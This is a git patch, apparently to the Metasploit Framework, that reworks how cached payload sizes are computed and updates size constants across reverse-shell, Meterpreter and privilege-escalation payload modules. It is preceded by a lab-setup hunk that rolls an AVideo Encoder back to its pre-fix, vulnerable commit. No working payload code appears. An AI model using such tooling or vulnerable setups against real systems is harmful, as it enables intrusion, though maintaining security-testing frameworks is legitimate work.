@@ -121,7 +121,7 @@ by the container entrypoint. The security fix in commit `78178d1` patched multip
 ```bash
 docker exec avideo-avideo-1 bash -c "
   git config --global --add safe.directory /var/www/html/AVideo/Encoder
-  cd /var/www/html/AVideo/Encoder && git checkout c9861e9c -- .
+  cd /var/www/html/AVideo/Encoder && git checkout 78178d1~1 -- .
 "
 docker compose restart avideo
 ```

From 3768efbacc068784e9cd261d9415be217f9cae27 Mon Sep 17 00:00:00 2001
From: adfoster-r7 <alandavid_foster@rapid7.com>
Date: Fri, 13 Mar 2026 14:31:00 +0000
Subject: [PATCH 091/103] Improve payload size generation script

---
 lib/msf/core/payload.rb                       |  14 +-
 lib/msf/core/payload/java.rb                  |   3 +
 lib/msf/core/payload/java/reverse_http.rb     |   3 +
 lib/msf/core/payload/python.rb                |   2 +
 .../core/payload/python/meterpreter_loader.rb |   2 +
 lib/msf/core/payload/windows/powershell.rb    |   2 +
 lib/msf/util/payload_cached_size.rb           | 160 ++++-
 .../singles/bsd/sparc/shell_bind_tcp.rb       |   2 +-
 .../singles/bsd/sparc/shell_reverse_tcp.rb    |   2 +-
 .../singles/cmd/mainframe/apf_privesc_jcl.rb  |   1 +
 .../singles/cmd/mainframe/bind_shell_jcl.rb   |   1 +
 .../cmd/mainframe/reverse_shell_jcl.rb        |   1 +
 modules/payloads/singles/cmd/unix/adduser.rb  |   2 +-
 .../singles/java/shell_reverse_tcp.rb         |   2 +-
 .../linux/aarch64/meterpreter_reverse_http.rb |   1 -
 .../aarch64/meterpreter_reverse_https.rb      |   1 -
 .../linux/armle/meterpreter_reverse_http.rb   |   1 -
 .../linux/armle/meterpreter_reverse_https.rb  |   1 -
 .../linux/armle/meterpreter_reverse_tcp.rb    |   1 -
 .../linux/mips64/meterpreter_reverse_http.rb  |   1 -
 .../linux/mips64/meterpreter_reverse_https.rb |   1 -
 .../linux/mips64/meterpreter_reverse_tcp.rb   |   1 -
 .../linux/mipsbe/meterpreter_reverse_http.rb  |   1 -
 .../linux/mipsbe/meterpreter_reverse_https.rb |   1 -
 .../linux/mipsbe/meterpreter_reverse_tcp.rb   |   1 -
 .../linux/mipsle/meterpreter_reverse_http.rb  |   1 -
 .../linux/mipsle/meterpreter_reverse_https.rb |   1 -
 .../linux/mipsle/meterpreter_reverse_tcp.rb   |   1 -
 .../linux/x64/meterpreter_reverse_http.rb     |   1 -
 .../linux/x64/meterpreter_reverse_https.rb    |   1 -
 .../linux/x64/meterpreter_reverse_tcp.rb      |   1 -
 .../linux/x86/meterpreter_reverse_http.rb     |   1 -
 .../linux/x86/meterpreter_reverse_https.rb    |   1 -
 .../linux/x86/meterpreter_reverse_tcp.rb      |   1 -
 .../linux/zarch/meterpreter_reverse_http.rb   |   1 -
 .../linux/zarch/meterpreter_reverse_https.rb  |   1 -
 .../linux/zarch/meterpreter_reverse_tcp.rb    |   1 -
 modules/payloads/singles/php/exec.rb          |   2 +-
 modules/payloads/singles/python/exec.rb       |   2 +-
 .../payloads/singles/windows/aarch64/exec.rb  |   1 -
 .../x64/encrypted_shell_reverse_tcp.rb        |   2 +-
 modules/payloads/stagers/java/bind_tcp.rb     |   2 +-
 modules/payloads/stagers/java/reverse_tcp.rb  |   2 +-
 .../payloads/stagers/windows/reverse_http.rb  |   1 +
 .../payloads/stagers/windows/reverse_https.rb |   1 +
 .../stagers/windows/reverse_winhttp.rb        |   1 +
 .../stagers/windows/reverse_winhttps.rb       |   1 +
 .../windows/x64/encrypted_reverse_tcp.rb      |   2 +-
 .../stagers/windows/x64/reverse_http.rb       |   1 +
 .../stagers/windows/x64/reverse_https.rb      |   1 +
 .../stagers/windows/x64/reverse_winhttp.rb    |   1 +
 .../stagers/windows/x64/reverse_winhttps.rb   |   1 +
 spec/lib/msf/core/payload_spec.rb             |  67 ++
 spec/lib/msf/util/payload_cached_size_spec.rb | 118 ++++
 spec/modules/payloads_spec.rb                 | 583 +-----------------
 .../payload_cached_size_is_consistent.rb      |  41 +-
 .../shared/examples/payload_not_cached.rb     |   4 +-
 tools/modules/update_payload_cached_sizes.rb  | 122 +++-
 58 files changed, 489 insertions(+), 687 deletions(-)
 create mode 100644 spec/lib/msf/core/payload_spec.rb
 create mode 100644 spec/lib/msf/util/payload_cached_size_spec.rb

diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb
index a141088da0dd0..35d2d01cd94af 100644
--- a/lib/msf/core/payload.rb
+++ b/lib/msf/core/payload.rb
@@ -159,7 +159,12 @@ def staged?
   # This method returns an optional cached size value
   #
   def self.cached_size
-    csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil
+    csize = const_defined?('CachedSize') ? const_get('CachedSize') : nil
+    if ancestors.include?(Msf::Payload::Stager)
+      csize_overrides = const_defined?('CachedSizeOverrides') ? const_get('CachedSizeOverrides') : {}
+      csize = csize_overrides.fetch(self.refname, csize)
+    end
+
     csize == :dynamic ? nil : csize
   end
 
@@ -167,7 +172,12 @@ def self.cached_size
   # This method returns whether the payload generates variable-sized output
   #
   def self.dynamic_size?
-    csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil
+    csize = const_defined?('CachedSize') ? const_get('CachedSize') : nil
+    if ancestors.include?(Msf::Payload::Stager)
+      csize_overrides = const_defined?('CachedSizeOverrides') ? const_get('CachedSizeOverrides') : {}
+      csize = csize_overrides.fetch(self.refname, csize)
+    end
+
     csize == :dynamic
   end
 
diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb
index bb31b9815c8e4..72b5d459deeec 100644
--- a/lib/msf/core/payload/java.rb
+++ b/lib/msf/core/payload/java.rb
@@ -2,6 +2,9 @@
 
 module Msf::Payload::Java
 
+  # Mark the payload as dynamic as the generated JAR/zip files can differ in size depending on the host machine's zlib version
+  ForceDynamicCachedSize = true
+
   #
   # Used by stages; all java stages need to define +stage_class_files+ as an
   # array of .class files located in data/java/
diff --git a/lib/msf/core/payload/java/reverse_http.rb b/lib/msf/core/payload/java/reverse_http.rb
index 893135d5ee0f0..698e6b6f51e1a 100644
--- a/lib/msf/core/payload/java/reverse_http.rb
+++ b/lib/msf/core/payload/java/reverse_http.rb
@@ -15,6 +15,9 @@ module Payload::Java::ReverseHttp
   include Msf::Payload::UUID::Options
   include Msf::Payload::Java::PayloadOptions
 
+  # Mark the payload as dynamic as random length URIs are generated, and zip compression with a single char change can lead to size changes even if the original payload is the same length
+  ForceDynamicCachedSize = true
+
   #
   # Register Java reverse_http specific options
   #
diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb
index 9d4660419d5cd..131c5bb405344 100644
--- a/lib/msf/core/payload/python.rb
+++ b/lib/msf/core/payload/python.rb
@@ -1,6 +1,8 @@
 # -*- coding: binary -*-
 
 module Msf::Payload::Python
+  # Mark the payload as dynamic, as the zlib compression with a single char change can lead to size changes even if the original payload is the same length
+  ForceDynamicCachedSize = true
 
   #
   # Encode the given python command in base64 and wrap it with a stub
diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 81ec8696407d8..0f3d7f1602ed7 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -10,6 +10,8 @@ module Msf
 ###
 
 module Payload::Python::MeterpreterLoader
+  # Mark the payload as dynamic, as random uuid values lead to differing zlib compressed payloads
+  ForceDynamicCachedSize = true
 
   include Msf::Payload::Python
   include Msf::Payload::UUID::Options
diff --git a/lib/msf/core/payload/windows/powershell.rb b/lib/msf/core/payload/windows/powershell.rb
index 0ba12ed10a89e..2db58e2134a6f 100644
--- a/lib/msf/core/payload/windows/powershell.rb
+++ b/lib/msf/core/payload/windows/powershell.rb
@@ -9,6 +9,8 @@ module Msf
 ###
 
 module Payload::Windows::Powershell
+  # Mark the payload as dynamic as powershell scripts are randomized
+  ForceDynamicCachedSize = true
 
   def initialize(info = {})
     ret = super(info)
diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb
index 2503df94a0e62..7eff9a05d3f02 100644
--- a/lib/msf/util/payload_cached_size.rb
+++ b/lib/msf/util/payload_cached_size.rb
@@ -17,8 +17,10 @@ class PayloadCachedSize
   OPTS = {
     'Format'      => 'raw',
     'Options'     => {
+      'VERBOSE' => false,
       'CPORT' => 4444,
       'LPORT' => 4444,
+      'RPORT' => 4444,
       'CMD' => '/bin/sh',
       'URL' => 'http://a.com',
       'PATH' => '/',
@@ -46,64 +48,128 @@ class PayloadCachedSize
 
   OPTS_IPV4 = {
     'LHOST' => '255.255.255.255',
+    'RHOST' => '255.255.255.255',
     'KHOST' => '255.255.255.255',
     'AHOST' => '255.255.255.255'
   }.freeze
 
   OPTS_IPV6 = {
     'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
+    'RHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
     'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
     'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'
   }.freeze
 
-  # Insert a new CachedSize value into the text of a payload module
+  # Inserts or updates the CachedSize constant in the text of a payload module.
   #
   # @param data [String] The source code of a payload module
-  # @param cached_size [String] The new value for cached_size, which
-  #   which should be either numeric or the string :dynamic
-  # @return [String]
+  # @param cached_size [String, Integer] The new value for CachedSize, which should be either an integer or the string ":dynamic"
+  # @return [String] The updated source code with the new CachedSize value
   def self.update_cache_constant(data, cached_size)
     data.
       gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, '').
       gsub(/^(module MetasploitModule)\s*\n/) do |m|
-        "#{m.strip}\n\n  CachedSize = #{cached_size}\n\n"
+        "#{m.strip}\n  CachedSize = #{cached_size}\n\n"
       end
   end
 
-  # Insert a new CachedSize value into a payload module file
+  # Inserts or updates the CachedSizeOverrides constant in the text of a payload module,
+  # removing any previous CachedSizeStages, # Other stager sizes, or CachedSizeOverrides lines.
+  #
+  # @param data [String] The source code of a payload module
+  # @param stages_with_sizes [Array<{:stage => Msf::Payload::Stager, :size => Integer}>] Array of hashes with :stage (an Msf::Payload::Stager instance) and :size (Integer)
+  # @return [String] The updated source code with the new CachedSizeOverrides value
+  def self.update_stage_sizes_constant(data, stages_with_sizes)
+    sizes = stages_with_sizes.sort_by { |stage_with_size| stage_with_size[:stage].refname }.map do |stage_with_size|
+      [stage_with_size[:stage].refname, stage_with_size[:size]]
+    end
+      data_without_other_stages = data.gsub(/^\s*CachedSizeOverrides\s*=.*\n/, '')
+    return data_without_other_stages if sizes.empty?
+
+    data_without_other_stages.gsub(/^\s*(CachedSize\s*=\s*(\d+|:dynamic))\s*\n/) do |m|
+      "  #{m.strip}\n  CachedSizeOverrides = {#{sizes.map { |(k, v)| %Q{"#{k}" => #{v}}}.join(', ')}}\n\n"
+    end
+  end
+
+  # Insert or update the CachedSize value into a payload module file
   #
   # @param mod [Msf::Payload] The class of the payload module to update
-  # @param cached_size [String] The new value for cached_size, which
-  #   which should be either numeric or the string :dynamic
+  # @param cached_size [String, Integer] The new value for cached_size, which
+  #   should be either an integer or the string ":dynamic"
   # @return [void]
   def self.update_cached_size(mod, cached_size)
     mod_data = ""
 
-    ::File.open(mod.file_path, 'rb') do |fd|
+    file_path = mod.file_path
+
+    ::File.open(file_path, 'rb') do |fd|
       mod_data = fd.read(fd.stat.size)
     end
 
-    ::File.open(mod.file_path, 'wb') do |fd|
+    ::File.open(file_path, 'wb') do |fd|
       fd.write update_cache_constant(mod_data, cached_size)
     end
   end
 
-  # Updates the payload module specified with the current CachedSize
+  # Insert or update the CachedSize value into a payload module file
   #
   # @param mod [Msf::Payload] The class of the payload module to update
+  # @param stages_with_sizes [Array<{:stage => Msf::Payload::Stager, :size => Integer}>] Array of hashes with :stage (an Msf::Payload::Stager instance) and :size (Integer)
   # @return [void]
-  def self.update_module_cached_size(mod)
-    update_cached_size(mod, compute_cached_size(mod))
+  def self.update_stager_cached_sizes(mod, stages_with_sizes)
+    mod_data = ""
+
+    file_path = mod.file_path
+
+    ::File.open(file_path, 'rb') do |fd|
+      mod_data = fd.read(fd.stat.size)
+    end
+
+    ::File.open(file_path, 'wb') do |fd|
+      fd.write update_stage_sizes_constant( mod_data, stages_with_sizes)
+    end
+  end
+
+  # Updates the payload module specified with the current CachedSize
+  #
+  # @param framework [Msf::Framework] The Metasploit framework instance used for payload generation
+  # @param mod [Msf::Payload] The class of the payload module to update
+  # @return [String, Integer] The updated CachedSize value
+  def self.update_module_cached_size(framework, mod)
+    cached_size = compute_cached_size(framework, mod)
+    update_cached_size(mod, cached_size)
+    cached_size
+  end
+
+  # Updates the stager payload module with the most frequent CachedSize value and sets CachedSizeOverrides for other stages.
+  #
+  # @param framework [Msf::Framework] The Metasploit framework instance used for payload generation
+  # @param stages [Array<Msf::Payload>] Array of stager modules to update
+  # @return [Integer, String] The new CachedSize value set for the stager
+  def self.update_stager_module_cached_size(framework, stages)
+    stages_with_sizes = stages.map do |stage|
+      { stage: stage, size: compute_cached_size(framework, stage) }
+    end
+    most_frequent_cached_size = stages_with_sizes.map { |stage_with_size| stage_with_size[:size] }
+                            .select { |size| size.is_a?(Numeric) }.tally.sort_by(&:last).to_h.keys.last
+
+    new_size = most_frequent_cached_size || stages_with_sizes.first[:size]
+    other_sizes = stages_with_sizes.select { |stage_with_size| stage_with_size[:size] != new_size }
+
+    update_cached_size(stages.first, new_size)
+    update_stager_cached_sizes(stages.first, other_sizes)
+
+    new_size
   end
 
   # Calculates the CachedSize value for a payload module
   #
   # @param mod [Msf::Payload] The class of the payload module to update
-  # @return [Integer]
-  def self.compute_cached_size(mod)
-    return ":dynamic" if is_dynamic?(mod)
+  # @return [Integer, String]
+  def self.compute_cached_size(framework, mod)
+    return ":dynamic" if is_dynamic?(framework, mod)
 
-    mod.generate_simple(module_options(mod)).size
+    mod.replicant.generate_simple(module_options(mod)).bytesize
   end
 
   # Determines whether a payload generates a static sized output
@@ -111,23 +177,67 @@ def self.compute_cached_size(mod)
   # @param mod [Msf::Payload] The class of the payload module to update
   # @param generation_count [Integer] The number of iterations to use to
   #   verify that the size is static.
-  # @return [Integer]
-  def self.is_dynamic?(mod, generation_count=5)
+  # @return [Boolean]
+  def self.is_dynamic?(framework, mod, generation_count=10)
+    return true if mod.class.const_defined?('ForceDynamicCachedSize') && mod.class::ForceDynamicCachedSize
     opts = module_options(mod)
-    [*(1..generation_count)].map do |x|
-      mod.generate_simple(opts).size
-    end.uniq.length != 1
+    last_bytesize = nil
+    generation_count.times do
+      # Ensure a new module instance is created for each attempt, as some options are randomized on load - such as tmp file path names etc
+      new_mod = framework.payloads.create(mod.refname)
+      bytesize = new_mod.generate_simple(opts).bytesize
+      last_bytesize ||= bytesize
+      if last_bytesize != bytesize
+        return true
+      end
+    end
+
+    false
   end
 
   # Determines whether a payload's CachedSize is up to date
   #
   # @param mod [Msf::Payload] The class of the payload module to update
   # @return [Boolean]
-  def self.is_cached_size_accurate?(mod)
-    return true if mod.dynamic_size? && is_dynamic?(mod)
+  def self.is_cached_size_accurate?(framework, mod)
+    return true if mod.dynamic_size? && is_dynamic?(framework, mod)
     return false if mod.cached_size.nil?
 
-    mod.cached_size == mod.generate_simple(module_options(mod)).size
+    mod.cached_size == mod.replicant.generate_simple(module_options(mod)).bytesize
+  end
+
+  # Checks for errors or inconsistencies in the CachedSize value for a payload module.
+  # Returns nil if the cache is correct, or a string describing the error if not.
+  #
+  # @param framework [Msf::Framework] The Metasploit framework instance used for payload generation
+  # @param mod [Msf::Payload] The payload module to check
+  # @return [String, nil] Error message if there is a problem, or nil if the cache is correct
+  def self.cache_size_errors_for(framework, mod)
+    is_payload_size_different_on_each_generation = is_dynamic?(framework,mod)
+    module_marked_as_dynamic = mod.dynamic_size?
+    payload_cached_static_size = mod.cached_size
+
+    # Validate dynamic scenario
+    return if is_payload_size_different_on_each_generation && module_marked_as_dynamic
+
+    if is_payload_size_different_on_each_generation && !module_marked_as_dynamic
+      return 'Module generated different sizes for each generation attempt. CacheSize must be set to :dynamic'
+    end
+
+    if payload_cached_static_size.nil?
+      return 'Module missing CachedSize and not marked as dynamic'
+    end
+
+    payload_size_after_one_generation = mod.replicant.generate_simple(module_options(mod)).bytesize
+
+    # Validate static scenario
+    return if payload_cached_static_size == payload_size_after_one_generation
+
+    if payload_cached_static_size != payload_size_after_one_generation
+      return "Module marked as having size #{payload_cached_static_size} but after one generation was #{payload_size_after_one_generation}"
+    end
+
+    raise "unhandled scenario"
   end
 
   # Get a set of sane default options for the module so it can generate a
diff --git a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb
index c75ad70fee5de..766acc9725ab7 100644
--- a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb
+++ b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 164
+  CachedSize = 168
 
   include Msf::Payload::Single
   include Msf::Payload::Bsd
diff --git a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb
index 7290ac18d6a08..9bf1cd7933f85 100644
--- a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 128
+  CachedSize = 132
 
   include Msf::Payload::Single
   include Msf::Payload::Bsd
diff --git a/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb b/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb
index 7ba5acd6c14a5..d415b15326a13 100644
--- a/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb
+++ b/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb
@@ -20,6 +20,7 @@
 
 module MetasploitModule
   CachedSize = 3156
+
   include Msf::Payload::Single
   include Msf::Payload::Mainframe
 
diff --git a/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb
index c2168c19adc3f..0cfbc574cb01e 100644
--- a/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb
+++ b/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb
@@ -10,6 +10,7 @@
 
 module MetasploitModule
   CachedSize = 10712
+
   include Msf::Payload::Single
   include Msf::Payload::Mainframe
   include Msf::Sessions::CommandShellOptions
diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
index 7a186ace52cb3..56b8c7c18cfca 100644
--- a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
+++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
@@ -10,6 +10,7 @@
 
 module MetasploitModule
   CachedSize = 8993
+
   include Msf::Payload::Single
   include Msf::Payload::Mainframe
   include Msf::Sessions::CommandShellOptions
diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb
index 3db8de897f0d0..ada42a0fd9acb 100644
--- a/modules/payloads/singles/cmd/unix/adduser.rb
+++ b/modules/payloads/singles/cmd/unix/adduser.rb
@@ -6,7 +6,7 @@
 require 'unix_crypt'
 
 module MetasploitModule
-  CachedSize = :dynamic
+  CachedSize = 153
 
   include Msf::Payload::Single
   include Msf::Sessions::CommandShellOptions
diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb
index 97b9e2cac9d5c..47c21326f1bf0 100644
--- a/modules/payloads/singles/java/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/java/shell_reverse_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 7497
+  CachedSize = :dynamic
 
   include Msf::Payload::Single
   include Msf::Payload::Java
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
index a4e3da283645b..515500ccad049 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1184784
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
index 6d8641a63d87a..525aae5649b31 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1184784
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
index 9337a2598ca6d..2f07f0263344b 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1106988
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
index c3d3db0b51148..01a15e099d56b 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1106988
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
index e8e15067c6670..fe08105400165 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1106988
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
index ef6a7d638c1e9..cd2b9b030a88c 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1685400
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
index a5a1077dd8d45..c51a456525951 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1685400
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
index d2ce7155aadb4..35ec09b6e78e6 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1685400
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
index 0547ba8073d1c..c6611bb201cd8 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1583636
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
index 8cb20fa1bcddb..f06ded9a7566e 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1583636
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
index 0cc26dda39085..0b14e0410b50c 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1583636
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
index 07d28c039a576..7baf9ae3130af 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1588444
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
index 2135a7a1bce12..3e71c5ad81993 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1588444
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
index 8173e06446424..623101101f972 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1588444
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
index e604c7ade79ad..e78b5a0f96b7d 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1121480
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
index cf178c16322ea..54131decab2c6 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1121480
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
index b62b8e9d6f5a6..072960555c151 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1121480
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
index bc5baace0de52..7efda64defbcc 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1188612
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
index 6cbcfc26db260..d8bdc12fe2cd6 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1188612
 
   include Msf::Payload::Single
